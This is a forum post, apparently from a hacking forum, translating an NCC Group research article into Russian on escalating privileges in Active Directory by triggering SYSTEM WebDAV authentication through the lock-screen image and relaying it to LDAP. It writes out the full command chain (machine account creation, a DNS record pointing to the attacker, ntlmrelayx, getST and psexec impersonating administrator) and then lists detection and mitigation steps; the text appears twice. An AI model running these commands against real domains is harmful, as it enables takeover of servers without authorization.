Пожалуйста, обратите внимание, что пользователь заблокирован
Вступление
Недавно мы проверяли Active Directory. Мы взяли аккаунт с низкими привелегиями. И у нас был доступ к полностью исправному и защищенному серверу. Попробовав несколько различных подходов, мы натолкнулись на статью в блоге «Wagging the Dog: злоупотребление ограниченным делегированием на основе ресурсов для атаки на Active Directory» от Elad Shamir.
Тип атаки, описанной в статье, привлёк наше внимание. Пользователь с низким уровнем привилегий может с помощью функции изменения изображения профиля, добиться привелегий SYSTEM со своего компьютера. После этого, аутентификация будет передана службе LDAP Active Directory, чтобы настроить ограниченное делегирование ресурсов для этого конкретного компьютера.
Это был достаточно интересный подход, но у нас была одна проблема - атака требовала доступ к графическому интерфейсу. К сожалению, мы не нашли безопасный способ доступа к графическому интерфейсу, наш способ был основан на использовании обратной оболочки. Всё-таки нам нужно было как-то избавиться от графического интерфейса((
Задача
В этой части статьи объясняется, как мы смогли обойти графический интерфейс и повысить наши привилегии. Как мы говорили, эта атака уже существует достаточно давно. Мы удалили некоторые из ее зависимостей и автоматизировали процесс, чтобы каждый смог ее повторить.
Требования к атаке
На момент написания статьи, существуют следующие требования, которые нужны, чтобы использовать уязвимость:
1. Учетная запись должна быть хотя бы с одним ServicePrincipalName (SPN). Эта учетная запись будет настроена как: «Allowed To Act On Behalf Of Other Identity» в системе жертвы и будет использоваться для вызова протоколов S4U2self и S4U2proxy.
2. Функция переадресации WebDAV должна быть установлена на компьютере жертвы. Это связано с тем, что клиент WebDAV не согласовывает подпись, что разрешает ретрансляцию аутентификации на LDAP.
2,1. Ретрансляцию SMB можно было выполнить с помощью недавно обнаруженных обходов подписи/MIC NTLM, но уязвимость уже была исправлена Microsoft. [6] [7]
3. DNS-запись, указывающая на компьютер злоумышленника. Клиенты WebDAV будут автоматически проходить аутентификацию в зоне intranet. Это означает, что использование IP вместо имени хоста не будет работать.
4. Доступ к графическому интерфейсу, чтобы использовать «Create your picture --> Browse for one». Один из шагов выполняется System, иследовательно можно указать путь к WebDAV (\\ malwareWebDav @ 80 \ pics \ pic.jpg).
Следующие детали будут полезны при попытке соответствовать зависимостям, изложенным выше:
1. Атрибут
2. В Windows 10 клиент WebDAV установлен по умолчанию. В Windows Server 2012R2 и более ранних версиях требуется функция рабочего стола. В Windows Server 2016 и более поздних версиях функция перенаправителя WebDAV должна быть установлена вручную.
3. По умолчанию аутентифицированные пользователи используют ACL
Первые три требования было довольно легко выполнить, поскольку они были установлены в Active Directory и Windows по умолчанию. Но зависимость GUI была сильным ограничением, которая не позволяла нам развязать руки...
Изменение изображения через командную строку
В качестве первого способа мы исследовали изменение изображения профиля с помощью командной утилиты API или Windows - но безуспешно. Однако мы обнаружили, что эта атака может быть реализована путём манипулирования изображением на экране блокировки.
Скриншот ниже иллюстрирует это.
Заметка: За несколько дней до публикации этой статьи, Elad Shamir написал, что он также обнаружил этот способ атаки.
Исследуя функциональность изображения экрана блокировки, мы обнаружили, что в этом случае было доступно API для изменения изображения экрана блокировки. Используя этот API, мы наконец достигли сетевой аутентификации SYSTEM через командную строку.
Сценарий PowerShell, собранный на C# был написан специально для этого API. Мы вызвали утилиту Change-Lockscreen. Она доступна по этой ссылке:
Обратите внимание, что по умолчанию в Windows 10 есть функция Windows Spotlight. Эта функция автоматически загружает и отображает изображения экрана блокировки. Когда эта функция включена, Change-Lockscreen отключит ее и установит изображение, указанное в аргументах (попробуйте использовать opsec!). Но если пользователь установил статическое, настраиваемое изображение экрана блокировки вместо использования Spotlight, то Change-Lockscreen создаст резервную копию этого изображения и вернет его на место после завершения атаки.
Реализация атаки в Impacket
Первоначально мы использовали инструмент
Наша доработка добавила новый флаг в ntlmrelayx под названием --serve-image. С этим новым флагом ntlmrelayx предложит выбрать изображение для атаки.
Кроме того, чтобы воспользоваться преимуществами серверной функциональности WebDAV, необходимо было реализовать методы OPTIONS и PROPFIND в файле httprelayserver.py. Метод OPTIONS используется для информирования клиента о том, что метод PROPFIND поддерживается и включен. Запрос PROPFIND, включает в себя проверку подлинности NTLM, и поэтому этот запрос будет передан для выполнения атаки (пример запроса показан на рисунке ниже).
Пример:
Эти функции уже объединены в Impacket и находятся по адресу:
Доказательство концепции
Следующее видео иллюстрирует атаку с использованием Change-Lockscreen и ntlmrelayx:
Шаги, перечисленные ниже, соответствуют пронумерованным этапам видео выше:
1. Нам нужна учетная запись ServicePrincipalName, чтобы у нас была возможность вызывать S4U2Self и S4U2Proxy. Мы можем использовать атрибут Active Directory ms-DS-MachineAccountQuota по умолчанию, чтобы добавить учетную запись компьютера в домен и использовать ее (Powermad).
2. Мы должны создать DNS-запись (ImageServer.capsule.corp), указывающую на компьютер атакующего (IP-адрес атакующего).
3. Мы запускаем сетевую аутентификацию Fileserver, изменяя изображение экрана блокировки, используя нашего пользователя с низким уровнем привилегий.
4. Используя ntlmrelayx, аутентификация передается в LDAP. Это позволяет нам изменять атрибут
5. Теперь мы можем выдавать себя за любого пользователя в любом сервисе Fileserver, используя S4UMachine $.
Краткое видео, приведенное ниже, представляет собой графическое представление шагов атаки.
Обнаружение и исправление
Следующие пункты могут помогут обнаружить и не допустить подобные атаки:
Ссылки
[1] https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
[2] https://docs.microsoft.com/en-us/wi...eros/kerberos-constrained-delegation-overview
[3] https://docs.microsoft.com/en-us/uwp/api/windows.system.userprofile.lockscreen
[4] https://docs.microsoft.com/es-es/windows/desktop/adschema/a-ms-ds-machineaccountquota
[5] https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
[6] https://blog.preempt.com/drop-the-mic
[7] https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
[8] https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
[9] http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
[10] https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/
[11] https://github.com/Kevin-Robertson/Powermad
[12] https://shenaniganslabs.io/2019/08/08/Lock-Screen-LPE.html
[13] https://github.com/SecureAuthCorp/impacket
Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://www.nccgroup.trust/uk/about...image-change-leads-to-a-privilege-escalation/
Недавно мы проверяли Active Directory. Мы взяли аккаунт с низкими привелегиями. И у нас был доступ к полностью исправному и защищенному серверу. Попробовав несколько различных подходов, мы натолкнулись на статью в блоге «Wagging the Dog: злоупотребление ограниченным делегированием на основе ресурсов для атаки на Active Directory» от Elad Shamir.
Тип атаки, описанной в статье, привлёк наше внимание. Пользователь с низким уровнем привилегий может с помощью функции изменения изображения профиля, добиться привелегий SYSTEM со своего компьютера. После этого, аутентификация будет передана службе LDAP Active Directory, чтобы настроить ограниченное делегирование ресурсов для этого конкретного компьютера.
Это был достаточно интересный подход, но у нас была одна проблема - атака требовала доступ к графическому интерфейсу. К сожалению, мы не нашли безопасный способ доступа к графическому интерфейсу, наш способ был основан на использовании обратной оболочки. Всё-таки нам нужно было как-то избавиться от графического интерфейса((
Задача
В этой части статьи объясняется, как мы смогли обойти графический интерфейс и повысить наши привилегии. Как мы говорили, эта атака уже существует достаточно давно. Мы удалили некоторые из ее зависимостей и автоматизировали процесс, чтобы каждый смог ее повторить.
Требования к атаке
На момент написания статьи, существуют следующие требования, которые нужны, чтобы использовать уязвимость:
1. Учетная запись должна быть хотя бы с одним ServicePrincipalName (SPN). Эта учетная запись будет настроена как: «Allowed To Act On Behalf Of Other Identity» в системе жертвы и будет использоваться для вызова протоколов S4U2self и S4U2proxy.
2. Функция переадресации WebDAV должна быть установлена на компьютере жертвы. Это связано с тем, что клиент WebDAV не согласовывает подпись, что разрешает ретрансляцию аутентификации на LDAP.
2,1. Ретрансляцию SMB можно было выполнить с помощью недавно обнаруженных обходов подписи/MIC NTLM, но уязвимость уже была исправлена Microsoft. [6] [7]
3. DNS-запись, указывающая на компьютер злоумышленника. Клиенты WebDAV будут автоматически проходить аутентификацию в зоне intranet. Это означает, что использование IP вместо имени хоста не будет работать.
4. Доступ к графическому интерфейсу, чтобы использовать «Create your picture --> Browse for one». Один из шагов выполняется System, иследовательно можно указать путь к WebDAV (\\ malwareWebDav @ 80 \ pics \ pic.jpg).
Следующие детали будут полезны при попытке соответствовать зависимостям, изложенным выше:
1. Атрибут
ms-DS-MachineAccountQuota Active Directory по умолчанию позволяет всем пользователям домена добавлять до 10 учетных записей. Кроме того, в учетных записях компьютера есть значения SPN, что позволяет использовать протоколы S4U.
2. В Windows 10 клиент WebDAV установлен по умолчанию. В Windows Server 2012R2 и более ранних версиях требуется функция рабочего стола. В Windows Server 2016 и более поздних версиях функция перенаправителя WebDAV должна быть установлена вручную.
3. По умолчанию аутентифицированные пользователи используют ACL
Create all child objects в Active Directory-Integrated DNS (ADIDNS). Это позволяет создавать новые записи DNS.
Первые три требования было довольно легко выполнить, поскольку они были установлены в Active Directory и Windows по умолчанию. Но зависимость GUI была сильным ограничением, которая не позволяла нам развязать руки...
Изменение изображения через командную строку
В качестве первого способа мы исследовали изменение изображения профиля с помощью командной утилиты API или Windows - но безуспешно. Однако мы обнаружили, что эта атака может быть реализована путём манипулирования изображением на экране блокировки.
Скриншот ниже иллюстрирует это.
Заметка: За несколько дней до публикации этой статьи, Elad Shamir написал, что он также обнаружил этот способ атаки.
Исследуя функциональность изображения экрана блокировки, мы обнаружили, что в этом случае было доступно API для изменения изображения экрана блокировки. Используя этот API, мы наконец достигли сетевой аутентификации SYSTEM через командную строку.
Сценарий PowerShell, собранный на C# был написан специально для этого API. Мы вызвали утилиту Change-Lockscreen. Она доступна по этой ссылке:
Обратите внимание, что по умолчанию в Windows 10 есть функция Windows Spotlight. Эта функция автоматически загружает и отображает изображения экрана блокировки. Когда эта функция включена, Change-Lockscreen отключит ее и установит изображение, указанное в аргументах (попробуйте использовать opsec!). Но если пользователь установил статическое, настраиваемое изображение экрана блокировки вместо использования Spotlight, то Change-Lockscreen создаст резервную копию этого изображения и вернет его на место после завершения атаки.
Реализация атаки в Impacket
Первоначально мы использовали инструмент
rbcd_relay.py, разработанный 3xocyte. Хотя он работал очень хорошо в некоторых наших сценариях тестирования, но он не охватывал всего, что нам было нужно. Поэтому мы решили доработать его.Наша доработка добавила новый флаг в ntlmrelayx под названием --serve-image. С этим новым флагом ntlmrelayx предложит выбрать изображение для атаки.
Кроме того, чтобы воспользоваться преимуществами серверной функциональности WebDAV, необходимо было реализовать методы OPTIONS и PROPFIND в файле httprelayserver.py. Метод OPTIONS используется для информирования клиента о том, что метод PROPFIND поддерживается и включен. Запрос PROPFIND, включает в себя проверку подлинности NTLM, и поэтому этот запрос будет передан для выполнения атаки (пример запроса показан на рисунке ниже).
Пример:
ntlmrelayx.py -t ldap: //dc01.capsule.corp --delegate-access --escalate-user machine $ --serve-image ./spot.jpg
Эти функции уже объединены в Impacket и находятся по адресу:
Доказательство концепции
Следующее видео иллюстрирует атаку с использованием Change-Lockscreen и ntlmrelayx:
Шаги, перечисленные ниже, соответствуют пронумерованным этапам видео выше:
1. Нам нужна учетная запись ServicePrincipalName, чтобы у нас была возможность вызывать S4U2Self и S4U2Proxy. Мы можем использовать атрибут Active Directory ms-DS-MachineAccountQuota по умолчанию, чтобы добавить учетную запись компьютера в домен и использовать ее (Powermad).
$ pass = ConvertTo-SecureString 'NCC1234!' -AsPlainText -Force ; New-MachineAccount –MachineAccount s4umachine -Password $pass2. Мы должны создать DNS-запись (ImageServer.capsule.corp), указывающую на компьютер атакующего (IP-адрес атакующего).
$cred = New-Object System.Management.Automation.PSCredential (“CAPSULE\s4umachine”, $pass); Invoke-DNSUpdate -DNSType A -DNSName ImageServer.capsule.corp -DNSData 10.10.11.137 -Credential $cred -Realm capsule.corp3. Мы запускаем сетевую аутентификацию Fileserver, изменяя изображение экрана блокировки, используя нашего пользователя с низким уровнем привилегий.
Change-Lockscreen –Webdav \\imageserver@80\4. Используя ntlmrelayx, аутентификация передается в LDAP. Это позволяет нам изменять атрибут
msDS-AllowedToActOnBehalfOfOtherIdentity.Ntlmrelayx.py -t ldap://dc01.capsule.corp --delegate-access --escalate-user s4umachine$ --serve-image ./spot.jpg5. Теперь мы можем выдавать себя за любого пользователя в любом сервисе Fileserver, используя S4UMachine $.
getST.py capsule\s4umachine:’NCC1234!’@fileserver.capsule.corp -spn cifs/fileserver.capsule.corp -impersonate administrator -dc-ip 10.10.11.128
Export KRB5CCNAME=administrator.ccache
Psexec.py -k -no-pass fileserver.capsule.corpКраткое видео, приведенное ниже, представляет собой графическое представление шагов атаки.
Обнаружение и исправление
Следующие пункты могут помогут обнаружить и не допустить подобные атаки:
- Поскольку эта атака зависит от способности компьютера настроить ограниченное делегирование на основе ресурсов Kerberos, новый ACE на компьютерах, который запрещает запись в атрибут
msDS-AllowedToActOnBehalfOfOtherIdentity, поможет уменьшить вероятность проведения атаки. - Реализация соответствующего SACL для атрибута
msDS-AllowedToActOnBehalfOfOtherIdentityпоможет обнаружить изменения в этой функции. - Наконец, включение подписи LDAP с привязкой к каналу уменьшит количество проверок подлинности, выполняемых с помощью этой атаки.
Ссылки
[1] https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
[2] https://docs.microsoft.com/en-us/wi...eros/kerberos-constrained-delegation-overview
[3] https://docs.microsoft.com/en-us/uwp/api/windows.system.userprofile.lockscreen
[4] https://docs.microsoft.com/es-es/windows/desktop/adschema/a-ms-ds-machineaccountquota
[5] https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
[6] https://blog.preempt.com/drop-the-mic
[7] https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
[8] https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
[9] http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
[10] https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/
[11] https://github.com/Kevin-Robertson/Powermad
[12] https://shenaniganslabs.io/2019/08/08/Lock-Screen-LPE.html
[13] https://github.com/SecureAuthCorp/impacket
Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://www.nccgroup.trust/uk/about...image-change-leads-to-a-privilege-escalation/